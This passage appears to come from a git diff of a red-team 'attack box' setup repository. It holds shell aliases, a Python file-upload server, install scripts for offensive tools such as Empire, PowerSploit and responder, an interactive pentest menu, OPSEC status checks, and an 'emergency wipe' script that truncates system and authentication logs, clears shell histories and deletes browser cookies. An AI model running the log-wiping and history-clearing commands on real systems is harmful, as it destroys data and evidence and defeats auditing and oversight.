python3 -c 'import http.server,socketserver,cgi,os;os.chdir("/tmp");class SimpleHTTPRequestHandlerWithUpload(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
if self.path=="/upload":
form=cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={"REQUEST_METHOD":"POST","CONTENT_TYPE":self.headers["Content-Type"]})
filename=form["file"].filename
data=form["file"].file.read()
with open(filename,"wb")as f:f.write(data)
self.send_response(200)
self.end_headers()
self.wfile.write(b"Upload successful")
else:self.send_error(404)
httpd=socketserver.TCPServer(("",8080),SimpleHTTPRequestHandlerWithUpload);print("Upload server at http://0.0.0.0:8080/upload");httpd.serve_forever()'
}
# Check all running services
checkservices() {
echo "===== Running Services ====="
systemctl list-units --type=service --state=running
}
# Download file to target
download() {
if [ $# -ne 2 ]; then
echo "Usage: download <URL> <output-file>"
return 1
fi
echo "[*] Downloading $1 to $2"
curl -s -L "$1" -o "$2" || wget -q "$1" -O "$2"
}
# Git shortcuts
alias gs='git status'
alias ga='git add'
alias gc='git commit -m'
alias gp='git push'
alias gl='git log --oneline'
alias gd='git diff'
# Docker shortcuts
alias dps='docker ps'
alias dpsa='docker ps -a'
alias dimg='docker images'
alias dexec='docker exec -it'
alias dlog='docker logs'
alias dstop='docker stop $(docker ps -q)'
alias drm='docker rm $(docker ps -a -q)'
alias drmi='docker rmi $(docker images -q)'
# ─── VIRTUAL ENVIRONMENT ALIASES ───────────────────────────────────────────────────────────
alias venv-create='python3 -m venv venv; source venv/bin/activate; pip install -r requirements.txt'
alias venv-activate='source venv/bin/activate'
# ─── BURP PROXY ALIASES ───────────────────────────────────────────────────────────
alias burp_proxy='export https_proxy=http://127.0.0.1:8080; export http_proxy=$https_proxy; export NO_PROXY=169.254.169.254; echo "Burp proxy enabled: $http_proxy"'
alias disable_burp_proxy='unset https_proxy; unset http_proxy; unset NO_PROXY; echo "Burp proxy disabled"'
# ─── RED TEAM VPN MONITORING ──────────────────────────────────────────────
# Safe OPSEC status check
alias opsec-status='echo "🔍 OPSEC Status:"; echo "VPN: $(pgrep openvpn > /dev/null && echo "🔒 Connected" || echo "❌ Disconnected")"; echo "Tor: $(systemctl is-active tor 2>/dev/null | grep -q active && echo "🔒 Active" || echo "❌ Inactive")"; echo "IP: $(curl -s --max-time 2 ifconfig.me || echo "Check failed")"'
# Network status for red team ops
alias net-status='echo "=== Network Status ==="; ip route | grep -E "tun|tor|vpn" || echo "No VPN/Tor interfaces"; echo ""; echo "=== External IP ==="; curl -s --max-time 3 ifconfig.me || echo "IP check failed"'
# Quick OPSEC check
alias quick-opsec='opsec-status && echo "" && echo "=== Connections ===" && ss -tupln | grep -E ":443|:9050|:1080" | head -5'
# Tool paths
export PATH=$PATH:~/tools:~/.cargo/bin:~/go/bin:/usr/local/bin
+87
View File
@@ -0,0 +1,87 @@
#!/bin/bash
# Emergency Wipe Script for OPSEC
# Quickly sanitizes system for emergency situations
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
echo -e "${RED}=== EMERGENCY SANITIZATION PROTOCOL ===${NC}"
echo -e "${YELLOW}This will clear sensitive data and logs${NC}"
echo ""
# Confirm emergency wipe
read -p "Are you sure you want to proceed? (type YES): " CONFIRM
if [ "$CONFIRM" != "YES" ]; then
echo -e "${GREEN}Emergency wipe cancelled${NC}"
exit 0
fi
echo -e "${RED}[*] Beginning emergency sanitization...${NC}"
# Clear command history
echo -e "${YELLOW}[*] Clearing command history${NC}"
history -c
> ~/.bash_history
> ~/.zsh_history
> ~/.python_history
> ~/.mysql_history
> ~/.psql_history
# Clear system logs
echo -e "${YELLOW}[*] Clearing system logs${NC}"
sudo find /var/log -type f -exec truncate -s 0 {} \; 2>/dev/null
sudo truncate -s 0 /var/log/auth.log 2>/dev/null
sudo truncate -s 0 /var/log/syslog 2>/dev/null
sudo truncate -s 0 /var/log/kern.log 2>/dev/null
# Clear temporary files
echo -e "${YELLOW}[*] Clearing temporary files${NC}"
sudo rm -rf /tmp/* 2>/dev/null
sudo rm -rf /var/tmp/* 2>/dev/null
rm -rf ~/.cache/* 2>/dev/null
# Clear SSH known hosts
echo -e "${YELLOW}[*] Clearing SSH artifacts${NC}"
> ~/.ssh/known_hosts
sudo truncate -s 0 /var/log/btmp 2>/dev/null
sudo truncate -s 0 /var/log/wtmp 2>/dev/null
sudo truncate -s 0 /var/log/lastlog 2>/dev/null
# Clear network traces
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
sudo ip neigh flush all 2>/dev/null
# Clear DNS cache
echo -e "${YELLOW}[*] Clearing DNS cache${NC}"
sudo systemctl restart systemd-resolved 2>/dev/null
# Clear browser data if present
echo -e "${YELLOW}[*] Clearing browser data${NC}"
rm -rf ~/.mozilla/firefox/*/sessionstore* 2>/dev/null
rm -rf ~/.mozilla/firefox/*/cookies.sqlite 2>/dev/null
rm -rf ~/.config/google-chrome/Default/History 2>/dev/null
rm -rf ~/.config/google-chrome/Default/Cookies 2>/dev/null
# Secure delete free space (optional - takes time)
read -p "Perform secure free space wipe? (y/N): " WIPE_FREE
if [ "$WIPE_FREE" = "y" ] || [ "$WIPE_FREE" = "Y" ]; then
echo -e "${YELLOW}[*] Securely wiping free space (this may take a while)${NC}"
dd if=/dev/urandom of=/tmp/wipe_file bs=1M 2>/dev/null || true
rm -f /tmp/wipe_file 2>/dev/null
fi
# Clear systemd journal
echo -e "${YELLOW}[*] Clearing systemd journal${NC}"
sudo journalctl --vacuum-time=1s 2>/dev/null
# Final cleanup
echo -e "${YELLOW}[*] Final cleanup${NC}"
sync
sudo updatedb 2>/dev/null
echo ""
echo -e "${GREEN}=== EMERGENCY SANITIZATION COMPLETE ===${NC}"
echo -e "${YELLOW}Consider rebooting the system for maximum effectiveness${NC}"
echo -e "${RED}WARNING: This does not guarantee complete data removal${NC}"
+122
View File
@@ -0,0 +1,122 @@
#!/bin/bash
# Attack Box - Git Repositories Cloning Script
# Clones security tool repositories with enhanced feedback
# Get OPERATOR_DIR from environment or use default
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
echo "================================================================"
echo "GIT REPOSITORIES CLONING STARTED"
echo "================================================================"
REPOS=(
"https://github.com/SecureAuthCorp/impacket.git"
"https://github.com/danielmiessler/SecLists.git"
"https://github.com/swisskyrepo/PayloadsAllTheThings.git"
"https://github.com/fuzzdb-project/fuzzdb.git"
"https://github.com/1N3/Sn1per.git"
"https://github.com/maurosoria/dirsearch.git"
"https://github.com/OJ/gobuster.git"
"https://github.com/aboul3la/Sublist3r.git"
"https://github.com/laramies/theHarvester.git"
"https://github.com/Tib3rius/AutoRecon.git"
"https://github.com/carlospolop/PEASS-ng.git"
"https://github.com/rebootuser/LinEnum.git"
"https://github.com/mzet-/linux-exploit-suggester.git"
"https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git"
"https://github.com/PowerShellMafia/PowerSploit.git"
"https://github.com/BloodHoundAD/BloodHound.git"
"https://github.com/EmpireProject/Empire.git"
"https://github.com/cobbr/Covenant.git"
"https://github.com/byt3bl33d3r/CrackMapExec.git"
"https://github.com/Hackplayers/evil-winrm.git"
)
REPO_NAMES=(
"impacket-dev"
"SecLists"
"PayloadsAllTheThings"
"fuzzdb"
"Sn1per"
"dirsearch-dev"
"gobuster-dev"
"Sublist3r"
"theHarvester-dev"
"AutoRecon"
"PEASS-ng"
"LinEnum"
"linux-exploit-suggester"
"Windows-Exploit-Suggester"
"PowerSploit"
"BloodHound"
"Empire"
"Covenant"
"CrackMapExec-dev"
"evil-winrm"
)
TOTAL=${#REPOS[@]}
CURRENT=0
FAILED=0
SUCCESS=0
# Create git directory if it doesn't exist
mkdir -p "$OPERATOR_DIR/tools/git"
cd "$OPERATOR_DIR/tools/git"
for i in "${!REPOS[@]}"; do
CURRENT=$((CURRENT + 1))
repo="${REPOS[$i]}"
name="${REPO_NAMES[$i]}"
echo ""
echo "[$CURRENT/$TOTAL] Cloning $name..."
echo "Repository: $repo"
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
echo "Started: $(date '+%H:%M:%S')"
if [ -d "$name" ]; then
echo "Repository $name already exists, updating..."
cd "$name"
if timeout 300 git pull origin main 2>/dev/null || timeout 300 git pull origin master 2>/dev/null; then
SUCCESS=$((SUCCESS + 1))
echo "$name updated successfully"
else
FAILED=$((FAILED + 1))
echo "$name update failed"
fi
cd ..
else
if timeout 300 git clone --depth 1 "$repo" "$name" 2>&1 | while read line; do echo "[GIT] $line"; done; then
if [ -d "$name" ]; then
SUCCESS=$((SUCCESS + 1))
echo "$name cloned successfully"
echo "Size: $(du -sh "$name" | cut -f1)"
else
FAILED=$((FAILED + 1))
echo "$name directory not found after clone"
fi
else
FAILED=$((FAILED + 1))
echo "$name clone failed or timed out"
fi
fi
echo "Completed: $(date '+%H:%M:%S')"
echo "Status: $SUCCESS successful, $FAILED failed"
echo "Remaining: $(( TOTAL - CURRENT )) repositories"
echo "================================================================"
done
echo ""
echo "GIT REPOSITORIES CLONING SUMMARY:"
echo "================================="
echo "Total attempted: $TOTAL"
echo "Successful: $SUCCESS"
echo "Failed: $FAILED"
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
echo ""
echo "Cloned repositories:"
ls -la "$OPERATOR_DIR/tools/git/" | head -20
exit 0
+104
View File
@@ -0,0 +1,104 @@
#!/bin/bash
# Attack Box - Go Tools Installation Script
# Installs security tools via go install with enhanced feedback
# Get OPERATOR_DIR from environment or use default
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
export GOPATH="$OPERATOR_DIR/tools/go"
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
mkdir -p "$GOPATH"
echo "================================================================"
echo "GO TOOLS INSTALLATION STARTED"
echo "================================================================"
echo "Installing Go tools to $GOPATH/bin..."
echo "Each tool has a 5-minute timeout"
echo "================================================================"
GO_TOOLS=(
"github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"
"github.com/projectdiscovery/httpx/cmd/httpx@latest"
"github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest"
"github.com/projectdiscovery/naabu/v2/cmd/naabu@latest"
"github.com/projectdiscovery/dnsx/cmd/dnsx@latest"
"github.com/projectdiscovery/katana/cmd/katana@latest"
"github.com/tomnomnom/waybackurls@latest"
"github.com/tomnomnom/assetfinder@latest"
"github.com/tomnomnom/httprobe@latest"
"github.com/tomnomnom/gf@latest"
"github.com/lc/gau/v2/cmd/gau@latest"
"github.com/hakluke/hakrawler@latest"
"github.com/ropnop/kerbrute@latest"
)
TOOL_NAMES=(
"subfinder"
"httpx"
"nuclei"
"naabu"
"dnsx"
"katana"
"waybackurls"
"assetfinder"
"httprobe"
"gf"
"gau"
"hakrawler"
"kerbrute"
)
TOTAL=${#GO_TOOLS[@]}
CURRENT=0
FAILED=0
SUCCESS=0
for i in "${!GO_TOOLS[@]}"; do
CURRENT=$((CURRENT + 1))
tool="${GO_TOOLS[$i]}"
name="${TOOL_NAMES[$i]}"
echo ""
echo "[$CURRENT/$TOTAL] Installing $name..."
echo "Repository: $tool"
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
echo "Started: $(date '+%H:%M:%S')"
echo "Working directory: $GOPATH"
if timeout 300 bash -c "go install -v $tool 2>&1 | while read line; do echo '[GO] $line'; done"; then
if [ -f "$GOPATH/bin/$name" ]; then
SUCCESS=$((SUCCESS + 1))
echo "$name installed successfully at $GOPATH/bin/$name"
ls -la "$GOPATH/bin/$name"
else
FAILED=$((FAILED + 1))
echo "$name binary not found after installation"
fi
else
FAILED=$((FAILED + 1))
echo "$name installation failed or timed out"
fi
echo "Completed: $(date '+%H:%M:%S')"
echo "Status: $SUCCESS successful, $FAILED failed"
echo "Remaining: $(( TOTAL - CURRENT )) tools"
echo "================================================================"
done
echo ""
echo "GO TOOLS INSTALLATION SUMMARY:"
echo "=============================="
echo "Total attempted: $TOTAL"
echo "Successful: $SUCCESS"
echo "Failed: $FAILED"
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
echo ""
echo "Installed Go tools:"
ls -la "$GOPATH/bin/" || echo "No Go tools installed"
echo ""
echo "Go environment:"
echo "GOPATH: $GOPATH"
echo "Go version: $(go version 2>/dev/null || echo 'Go not found')"
echo "Go executable: $(which go || echo 'Go not in PATH')"
exit 0
+84
View File
@@ -0,0 +1,84 @@
#!/bin/bash
# Attack Box - Python Tools Installation Script
# Installs security tools via pipx with enhanced feedback
export PATH="/root/.local/bin:$PATH"
echo "================================================================"
echo "PYTHON TOOLS INSTALLATION STARTED"
echo "================================================================"
echo "Total tools to install: 29"
echo "Each tool has a 5-minute timeout"
echo "================================================================"
TOOLS=(
"impacket"
"bloodhound"
"crackmapexec"
"netexec"
"droopescan"
"wpscan"
"arjun"
"subjack"
"sublist3r"
"theharvester"
"feroxbuster"
"dirsearch"
"sqlmap"
"wafw00f"
"dnsrecon"
"dnsgen"
"massdns"
"altdns"
"paramspider"
"linkfinder"
"xsstrike"
"scapy"
"pwntools"
"volatility3"
"ldapdomaindump"
"ldap3"
"responder"
"mitm6"
"enum4linux-ng"
"smbmap"
)
TOTAL=${#TOOLS[@]}
CURRENT=0
FAILED=0
SUCCESS=0
for tool in "${TOOLS[@]}"; do
CURRENT=$((CURRENT + 1))
echo ""
echo "[$CURRENT/$TOTAL] Installing $tool..."
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
echo "Started: $(date '+%H:%M:%S')"
if timeout 300 pipx install --verbose "$tool" 2>&1; then
SUCCESS=$((SUCCESS + 1))
echo "$tool installed successfully"
else
FAILED=$((FAILED + 1))
echo "$tool installation failed or timed out"
fi
echo "Completed: $(date '+%H:%M:%S')"
echo "Status: $SUCCESS successful, $FAILED failed"
echo "Remaining: $(( TOTAL - CURRENT )) tools"
echo "================================================================"
done
echo ""
echo "PYTHON TOOLS INSTALLATION SUMMARY:"
echo "=================================="
echo "Total attempted: $TOTAL"
echo "Successful: $SUCCESS"
echo "Failed: $FAILED"
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
echo ""
echo "Installed pipx tools:"
pipx list
exit 0
+392
View File
@@ -0,0 +1,392 @@
#!/bin/bash
# Manual Testing Menu for Attack Box
# Interactive interface for manual penetration testing tasks
set -e
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color
# ASCII Banner
show_banner() {
echo -e "${CYAN}"
cat << "EOF"
╔═══════════════════════════════════════╗
║ ATTACK BOX MENU ║
║ Manual Testing Interface ║
╚═══════════════════════════════════════╝
EOF
echo -e "${NC}"
}
# Main menu
show_main_menu() {
echo -e "${GREEN}========================================${NC}"
echo -e "${GREEN} Attack Box Manual Testing Menu ${NC}"
echo -e "${GREEN}========================================${NC}"
echo
echo -e "${BLUE}1.${NC} Target Reconnaissance"
echo -e "${BLUE}2.${NC} Network Scanning"
echo -e "${BLUE}3.${NC} Web Application Testing"
echo -e "${BLUE}4.${NC} Vulnerability Assessment"
echo -e "${BLUE}5.${NC} Exploitation Framework"
echo -e "${BLUE}6.${NC} Post-Exploitation"
echo -e "${BLUE}7.${NC} Password Attacks"
echo -e "${BLUE}8.${NC} Wireless Testing"
echo -e "${BLUE}9.${NC} Social Engineering"
echo -e "${BLUE}10.${NC} OSINT Tools"
echo -e "${BLUE}11.${NC} Custom Scripts"
echo -e "${BLUE}12.${NC} Tool Status & Updates"
echo -e "${BLUE}13.${NC} Generate Reports"
echo -e "${BLUE}0.${NC} Exit"
echo
echo -ne "${YELLOW}Select an option [0-13]: ${NC}"
}
# Reconnaissance menu
recon_menu() {
clear
echo -e "${GREEN}========================================${NC}"
echo -e "${GREEN} Reconnaissance Tools ${NC}"
echo -e "${GREEN}========================================${NC}"
echo
echo -e "${BLUE}1.${NC} Domain Enumeration (theHarvester)"
echo -e "${BLUE}2.${NC} Subdomain Discovery (Subfinder + Amass)"
echo -e "${BLUE}3.${NC} DNS Enumeration (dnsrecon)"
echo -e "${BLUE}4.${NC} WHOIS Lookup"
echo -e "${BLUE}5.${NC} Shodan Search"
echo -e "${BLUE}6.${NC} Google Dorking (Pagodo)"
echo -e "${BLUE}7.${NC} Certificate Transparency"
echo -e "${BLUE}8.${NC} Automated Recon Script"
echo -e "${BLUE}0.${NC} Back to Main Menu"
echo
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
read -r choice
case $choice in
1) domain_enum ;;
2) subdomain_discovery ;;
3) dns_enum ;;
4) whois_lookup ;;
5) shodan_search ;;
6) google_dorking ;;
7) cert_transparency ;;
8) automated_recon ;;
0) return ;;
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; recon_menu ;;
esac
}
# Network scanning menu
network_menu() {
clear
echo -e "${GREEN}========================================${NC}"
echo -e "${GREEN} Network Scanning Tools ${NC}"
echo -e "${GREEN}========================================${NC}"
echo
echo -e "${BLUE}1.${NC} Nmap Host Discovery"
echo -e "${BLUE}2.${NC} Nmap Port Scan (Top 1000)"
echo -e "${BLUE}3.${NC} Nmap Full Port Scan"
echo -e "${BLUE}4.${NC} Nmap Service Detection"
echo -e "${BLUE}5.${NC} Nmap Vulnerability Scripts"
echo -e "${BLUE}6.${NC} Masscan Fast Scan"
echo -e "${BLUE}7.${NC} Automated Port Scan Script"
echo -e "${BLUE}8.${NC} Network Mapper (netdiscover)"
echo -e "${BLUE}0.${NC} Back to Main Menu"
echo
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
read -r choice
case $choice in
1) nmap_discovery ;;
2) nmap_port_scan ;;
3) nmap_full_scan ;;
4) nmap_service_detection ;;
5) nmap_vuln_scripts ;;
6) masscan_scan ;;
7) automated_port_scan ;;
8) network_discovery ;;
0) return ;;
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; network_menu ;;
esac
}
# Web application testing menu
web_menu() {
clear
echo -e "${GREEN}========================================${NC}"
echo -e "${GREEN} Web Application Testing Tools ${NC}"
echo -e "${GREEN}========================================${NC}"
echo
echo -e "${BLUE}1.${NC} Directory/File Enumeration (Gobuster)"
echo -e "${BLUE}2.${NC} Technology Detection (WhatWeb)"
echo -e "${BLUE}3.${NC} Vulnerability Scanner (Nikto)"
echo -e "${BLUE}4.${NC} Web Crawler (Hakrawler)"
echo -e "${BLUE}5.${NC} Parameter Discovery (Arjun)"
echo -e "${BLUE}6.${NC} SQL Injection (SQLMap)"
echo -e "${BLUE}7.${NC} XSS Testing (XSStrike)"
echo -e "${BLUE}8.${NC} Automated Web Enum Script"
echo -e "${BLUE}9.${NC} Launch Burp Suite"
echo -e "${BLUE}0.${NC} Back to Main Menu"
echo
echo -ne "${YELLOW}Select an option [0-9]: ${NC}"
read -r choice
case $choice in
1) directory_enum ;;
2) tech_detection ;;
3) web_vuln_scan ;;
4) web_crawler ;;
5) param_discovery ;;
6) sql_injection ;;
7) xss_testing ;;
8) automated_web_enum ;;
9) launch_burp ;;
0) return ;;
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; web_menu ;;
esac
}
# Vulnerability assessment menu
vuln_menu() {
clear
echo -e "${GREEN}========================================${NC}"
echo -e "${GREEN} Vulnerability Assessment Tools ${NC}"
echo -e "${GREEN}========================================${NC}"
echo
echo -e "${BLUE}1.${NC} Nuclei Scanner"
echo -e "${BLUE}2.${NC} OpenVAS Scan"
echo -e "${BLUE}3.${NC} SearchSploit (ExploitDB)"
echo -e "${BLUE}4.${NC} CVE Search"
echo -e "${BLUE}5.${NC} Vulnerability Database Lookup"
echo -e "${BLUE}6.${NC} Custom Vulnerability Scripts"
echo -e "${BLUE}0.${NC} Back to Main Menu"
echo
echo -ne "${YELLOW}Select an option [0-6]: ${NC}"
read -r choice
case $choice in
1) nuclei_scan ;;
2) openvas_scan ;;
3) searchsploit_search ;;
4) cve_search ;;
5) vuln_db_lookup ;;
6) custom_vuln_scripts ;;
0) return ;;
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; vuln_menu ;;
esac
}
# Functions for each tool category
domain_enum() {
echo -e "${YELLOW}[*] Domain Enumeration with theHarvester${NC}"
echo -ne "Enter target domain: "
read -r domain
echo -e "${GREEN}[+] Running theHarvester against $domain${NC}"
theHarvester -d "$domain" -b all -l 500
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
read -r
recon_menu
}
subdomain_discovery() {
echo -e "${YELLOW}[*] Subdomain Discovery${NC}"
echo -ne "Enter target domain: "
read -r domain
echo -e "${GREEN}[+] Running Subfinder...${NC}"
subfinder -d "$domain" -o "subdomains_$domain.txt"
echo -e "${GREEN}[+] Running Amass...${NC}"
amass enum -d "$domain" -o "amass_$domain.txt"
echo -e "${BLUE}[*] Results saved to subdomains_$domain.txt and amass_$domain.txt${NC}"
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
read -r
recon_menu
}
nmap_port_scan() {
echo -e "${YELLOW}[*] Nmap Port Scan (Top 1000)${NC}"
echo -ne "Enter target IP/range: "
read -r target
echo -e "${GREEN}[+] Scanning $target...${NC}"
nmap -sS -T4 --top-ports 1000 -oN "nmap_top1000_$target.txt" "$target"
echo -e "${BLUE}[*] Results saved to nmap_top1000_$target.txt${NC}"
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
read -r
network_menu
}
directory_enum() {
echo -e "${YELLOW}[*] Directory/File Enumeration${NC}"
echo -ne "Enter target URL: "
read -r url
echo -e "${GREEN}[+] Running Gobuster against $url${NC}"
gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -o "gobuster_$(echo $url | sed 's|https\?://||g' | tr '/' '_').txt"
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
read -r
web_menu
}
automated_recon() {
echo -e "${YELLOW}[*] Running Automated Reconnaissance Script${NC}"
echo -ne "Enter target domain/IP: "
read -r target
echo -e "${GREEN}[+] Executing recon automation script...${NC}"
if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then
/root/operator/tools/scripts/recon_automation.sh "$target"
else
echo -e "${RED}[-] Recon automation script not found!${NC}"
fi
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
read -r
recon_menu
}
automated_port_scan() {
echo -e "${YELLOW}[*] Running Automated Port Scan Script${NC}"
echo -ne "Enter target IP/range: "
read -r target
echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then
/root/operator/tools/scripts/port_scan_automation.sh "$target"
else
echo -e "${RED}[-] Port scan automation script not found!${NC}"
fi
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
read -r
network_menu
}
automated_web_enum() {
echo -e "${YELLOW}[*] Running Automated Web Enumeration Script${NC}"
echo -ne "Enter target URL: "
read -r url
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then
/root/operator/tools/scripts/web_enum_automation.sh "$url"
else
echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
fi
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
read -r
web_menu
}
# Tool status and updates
tool_status() {
clear
echo -e "${GREEN}========================================${NC}"
echo -e "${GREEN} Tool Status & Updates ${NC}"
echo -e "${GREEN}========================================${NC}"
echo
# Check key tools
tools=("nmap" "gobuster" "nuclei" "subfinder" "amass" "sqlmap" "nikto" "whatweb")
for tool in "${tools[@]}"; do
if command -v "$tool" &> /dev/null; then
echo -e "${GREEN}[✓]${NC} $tool - Installed"
else
echo -e "${RED}[✗]${NC} $tool - Not Found"
fi
done
echo
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
read -r
}
# Generate reports
generate_reports() {
clear
echo -e "${GREEN}========================================${NC}"
echo -e "${GREEN} Generate Reports ${NC}"
echo -e "${GREEN}========================================${NC}"
echo
WORKSPACE="/root/operator"
DATE=$(date +%Y%m%d_%H%M%S)
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
mkdir -p "$REPORT_DIR"
echo -e "${YELLOW}[*] Generating comprehensive report...${NC}"
# Collect all scan results
find "$WORKSPACE" -name "*.txt" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
find "$WORKSPACE" -name "*.html" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
find "$WORKSPACE" -name "*.json" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
# Create summary report
cat > "$REPORT_DIR/summary_report.md" << EOF
# Manual Testing Report
**Generated:** $(date)
**Operator:** $(whoami)
## Engagement Summary
This report contains results from manual penetration testing activities.
## Files Included
$(ls -la "$REPORT_DIR" | grep -v "^total")
## Key Findings
- Review individual tool outputs for detailed findings
- Cross-reference results across multiple tools
- Validate findings manually before reporting
## Next Steps
1. Analyze all collected data
2. Prioritize findings by severity
3. Prepare client deliverables
4. Archive results securely
EOF
echo -e "${GREEN}[+] Report generated: $REPORT_DIR${NC}"
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
read -r
}
# Main execution loop
main() {
while true; do
clear
show_banner
show_main_menu
read -r choice
case $choice in
1) recon_menu ;;
2) network_menu ;;
3) web_menu ;;
4) vuln_menu ;;
5) echo -e "${YELLOW}[*] Exploitation Framework - Launch Metasploit${NC}"; msfconsole ;;
6) echo -e "${YELLOW}[*] Post-Exploitation - Launch custom shells/tools${NC}"; sleep 2 ;;
7) echo -e "${YELLOW}[*] Password Attacks - Hydra, John, Hashcat${NC}"; sleep 2 ;;
8) echo -e "${YELLOW}[*] Wireless Testing - Aircrack-ng suite${NC}"; sleep 2 ;;
9) echo -e "${YELLOW}[*] Social Engineering - SET toolkit${NC}"; setoolkit ;;
10) echo -e "${YELLOW}[*] OSINT Tools - Various intelligence gathering tools${NC}"; sleep 2 ;;
11) echo -e "${YELLOW}[*] Custom Scripts - Run user-defined scripts${NC}"; sleep 2 ;;
12) tool_status ;;
13) generate_reports ;;
0) echo -e "${GREEN}[+] Goodbye!${NC}"; exit 0 ;;
*) echo -e "${RED}Invalid option! Please try again.${NC}"; sleep 2 ;;
esac
done
}
# Check if running as root
if [[ $EUID -eq 0 ]]; then
echo -e "${YELLOW}[!] Running as root - be careful!${NC}"
sleep 2
fi
# Create operator structure if it doesn't exist
mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
# Start the main menu
main
+118
View File
@@ -0,0 +1,118 @@
#!/bin/bash
# OPSEC Status Check Script
# Monitors operational security status for red team operations
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${BLUE}=== OPERATIONAL SECURITY STATUS ===${NC}"
echo ""
# Check VPN Status
echo -e "${BLUE}[*] VPN Status:${NC}"
if pgrep openvpn > /dev/null 2>&1; then
echo -e "${GREEN} ✓ OpenVPN is running${NC}"
VPN_INTERFACES=$(ip link show | grep -E "tun|tap" | awk -F: '{print $2}' | xargs)
if [ ! -z "$VPN_INTERFACES" ]; then
echo -e "${GREEN} ✓ VPN interfaces active: $VPN_INTERFACES${NC}"
fi
else
echo -e "${RED} ✗ OpenVPN not detected${NC}"
fi
# Check Tor Status
echo -e "\n${BLUE}[*] Tor Status:${NC}"
if systemctl is-active tor >/dev/null 2>&1; then
echo -e "${GREEN} ✓ Tor service is active${NC}"
if netstat -tuln 2>/dev/null | grep -q ":9050"; then
echo -e "${GREEN} ✓ SOCKS proxy listening on 9050${NC}"
fi
else
echo -e "${YELLOW} - Tor service not active${NC}"
fi
# Check External IP
echo -e "\n${BLUE}[*] External IP Check:${NC}"
EXTERNAL_IP=$(curl -s --max-time 5 ifconfig.me 2>/dev/null)
if [ ! -z "$EXTERNAL_IP" ]; then
echo -e "${GREEN} ✓ External IP: $EXTERNAL_IP${NC}"
else
echo -e "${RED} ✗ Could not determine external IP${NC}"
fi
# Check DNS
echo -e "\n${BLUE}[*] DNS Configuration:${NC}"
DNS_SERVERS=$(cat /etc/resolv.conf | grep nameserver | awk '{print $2}' | xargs)
echo -e "${GREEN} ✓ DNS servers: $DNS_SERVERS${NC}"
# Check for DNS leaks
echo -e "\n${BLUE}[*] DNS Leak Test:${NC}"
DNS_LEAK=$(dig +short myip.opendns.com @resolver1.opendns.com 2>/dev/null)
if [ ! -z "$DNS_LEAK" ]; then
if [ "$DNS_LEAK" = "$EXTERNAL_IP" ]; then
echo -e "${GREEN} ✓ No DNS leak detected${NC}"
else
echo -e "${YELLOW} ! Potential DNS leak: $DNS_LEAK vs $EXTERNAL_IP${NC}"
fi
else
echo -e "${YELLOW} - DNS leak test failed${NC}"
fi
# Check Active Connections
echo -e "\n${BLUE}[*] Active Network Connections:${NC}"
ACTIVE_CONS=$(ss -tupln 2>/dev/null | grep -E "LISTEN|ESTAB" | wc -l)
echo -e "${GREEN}$ACTIVE_CONS active connections${NC}"
# Check Suspicious Processes
echo -e "\n${BLUE}[*] Process Security Check:${NC}"
SUSPICIOUS_PROCS=$(ps aux | grep -iE "wireshark|tcpdump|ettercap" | grep -v grep | wc -l)
if [ $SUSPICIOUS_PROCS -gt 0 ]; then
echo -e "${YELLOW} ! $SUSPICIOUS_PROCS monitoring processes detected${NC}"
else
echo -e "${GREEN} ✓ No obvious monitoring processes${NC}"
fi
# Check SSH Keys
echo -e "\n${BLUE}[*] SSH Key Security:${NC}"
SSH_KEYS=$(find ~/.ssh -name "*.pub" 2>/dev/null | wc -l)
echo -e "${GREEN}$SSH_KEYS SSH public keys found${NC}"
# Check System Logs
echo -e "\n${BLUE}[*] Log Security:${NC}"
AUTH_LOG_SIZE=$(wc -l /var/log/auth.log 2>/dev/null | awk '{print $1}')
if [ ! -z "$AUTH_LOG_SIZE" ]; then
